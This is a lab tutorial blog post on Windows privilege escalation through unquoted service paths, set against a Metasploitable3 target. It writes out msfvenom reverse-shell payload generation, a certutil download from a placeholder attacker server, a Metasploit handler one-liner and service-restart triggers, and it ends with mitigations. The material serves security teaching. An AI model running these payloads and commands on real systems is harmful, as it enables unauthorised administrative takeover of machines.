Windows PrivEsc (1) — Unquoted service paths
This is first of my Windows Privilege Escalation series. You can checkout the remaining ones Hijacking DLLs, next to that is Weak Service Permissions, the fourth Autorun Programs.
Prerequisite
Target Machine: Metasploitable3
Attacker Machine: Kali Linux
This blog assumes that you have gotten a standard shell (either through netcat, meterpreter session, etc).
Exploiting unquoted service paths
When starting a service, Windows require the path to the service binary. And if the full path to the binary has spaces in between the path locations, it’s more secure to encapsulate them in quotation marks. This allows Windows to locate the exact service binary. Below is an example of a securely quoted service path:
“C:\Program Files\Origin\FIFA 14\Game\FIFA.exe”
Notice the space between “Program” and “Files” of Program Files? and that of “FIFA” and “14” of FIFA 14? The quotes escapes the spaces within the binary path.
Why put them in quotes because of a few spaces?
If it’s not encapsulated in quotes, Windows would handle the spaces as breaks and pass the rest of the rest of the service path as arguments.
Now we just need to find a service that runs under administrative privileges that isn’t encapsulated in quotes. Below is an example of a service with an unquoted path:
C:\Program FIles\Money\Notes\pound.exe
The entire exploitation method involves us generating our own binary and uploading it into the service path waiting for the service process to call unto it. This gets executed and sends us a reverse shell.
Before we start, make sure you already have initial foothold on your windows system as a normal Low privileged User.
Moving on…
There are 3 methods one can use.
Method 1
1. First step is to identify a service with an unquoted path. This can be done by utilizing the Windows Management Instrumentation (WMIC) inconjunction with findstr utility. This can be done by running:
wmic service get name, displayname, pathname, startmode | findstr /i /v "C:\" | findstr /i /v """
This command would output services with unquoted paths.
Now scrolling through the list of services, what do we found here?
The reason I’m going to go with OpenSSH is because it runs with Admin privileges.
2. Next method is to check the directory of the OpenSSH to see if we have write permissions there. We can check permissions of a directory by utilizing Integrity Control Access Control Lists (icacls) utility. Run it
icacls “C:\Program Files\OpenSSH”
With icacls permissions:
- F = Full access
- M = Modify access
- RX = Read and execute access
- R = Read access
- W = Write Access
For File/Folder Inheritance:
- (OI) = Object inherit
- (CI) = Container Inherit
- (IO) = Inherit Only
- (NP) = Do not propagate Inherit
Standard users have Write Permissions hence we have the ability to change the contents of the Directory since Standard users are part of the BUILTIN\Users group. Let’s leverage this by replacing the OpenSSH binary with our own reverse shell binary.
From the unquoted path screenshot, the service executable’s name was cygrunsrv.exe
3. So let’s create a reverse binary with the same name with msfvenom.
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe LHOST=<attackerIP> LPORT=<port> -o cygrunsrv.exe
4. Host the binary and transfer it to the OpenSSH\bin directory on the target Windows machine.
Before we upload our reverse shell binary, make a backup copy of the original cygrunsrv.exe binary in case this does not work. Now either rename the original cygrunsrv.exe binary to something else or delete it. I’m going to delete it.
rm cygrunsrv.exe
Hosted the msfvenom payload on a simple python server and downloaded it with certutil.exe utility in Windows
certutil.exe -f -URLcache http://<attacker IP>:8000/cygrunsrv.exe cygrunsrv.exe
5. Now let’s set up metasploit to run and listen for a connection from our reverse shell binary
adding all commands into a one liner:
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST<attackerIP>; set LPORT <LPORT>; run"
6. In order to execute our metasploit executable we just uploaded into the OpenSSH directory, let’s restart the OpenSSH service. This can be done by running the ff Windows cmd commands:
stop it if it’s already runing
sc stop OpenSSHd
And start it again
sc start OpenSSHd
Tried stopping it, it turns out it wasn’t even running, so I just started it instead.
Now we get a reverse shell in our listener
We are running as the SSH_server
A quick look at the sshd_server user and we can see they belong to the Admin group
Hence we can run Administrative commands with this user.
Method 2
Instead of creating a reverse shell binary with the same name as the service executable and uploading it to the final end location of the service path, you can go with this method which I prefer. This is because with the first method, you can end up with an unstable shell. With the service throwing GUI errors to the target user like:
As I stated earlier, if a file path contains spaces and it’s unquoted, the file name is ambiguous. Take another example:
C:\Program Files\come.exe
The Windows API would interpret this as two possible Paths. Thus,
- C:\Program.exe
- C:\Program Files\come.exe.
The API will assume each point in the path is an .exe and test them all out till it gets to the actual .exe (come.exe) it is looking for.
Instead of manually testing for unquoted service paths, I’ll introduce you to some various tools that can make this easier and quick.
WinPEAS
This is a script that enumerate target system to uncover Privilege Escalation points. It needs to be ran on the target system. So transfer the WinPEAS.exe binary to your target system and launch it. It’s always good to redirect the output to a file as it can be very overwhelming.
Run and redirect output
Download the log to examine on the attacker machine
In the massive text, you’ll find among other PrivEsc Vectors
Now with the unquoted path known, we know the Windows API would first read the path as C:\Program.exe, if the doesn’t get anything from there, it’ll move on to C:\Program Files\OpenSSH.exe. If no binary with the exact name is found there, it moves to C:\Program Files\OpenSSH\bin.exe, it moves once more after getting no binary from there to C:\Program Files\OpenSSH\bin\cygrunsrv.exe and finally a binary is found there. It get’s executed. This all happens in microseconds.
So what if?
We see the API moving a step each time it fails to find a binary at these points. What if we generate our own binary with metasploit and put it in one of these locations so that whenever the API tests for a binary in the said location, it discovers our binary and executes it.
For me, I’m choosing to name my fake binary Program.exe. Meaning I’ll have to place it at C:\.
Now upload it to C:\
Now set a second handler to listen for a connection from this binary when it gets triggered.
Now let’s trigger the service start in our first session
In our second handler, we catch a meterpreter session
NB: The actual OpenSSHd service will fail to start so long as Program.exe remains on the disk. You’ll have to manually clean up by deleting this binary when done.
Method 3
This is based on what I demonstrated in method 2 except metasploit makes it easier. It’ll automatically create its own binary and upload it to any point in the unquoted path. Then it’ll trigger the service start and return a shell.
This works after you’ve already established an initial session.
Now search for the Unquoted service path post exploit module.
Use exploit/windows/local/unquoted_service_path
Run and we get a new meterpreter shell running as opensshd_server user
As you can see with this method too, you’ll have to clean up after yourself.
Mitigation
Vulnerability Solution: Ensure that any services that contain a space in the path enclose the path in quotes.
Restrict File and Directory Permissions: Restrict access by setting directory and file permissions that are not specific to users or privileged accounts
Execution Prevention: Block execution of code on a system through application control, and/or script blocking.
I hope you enjoyed this as much as I did. Reach out to me on Twitter @tinopreter Follow me for more cybersecurity related content while you’re at it.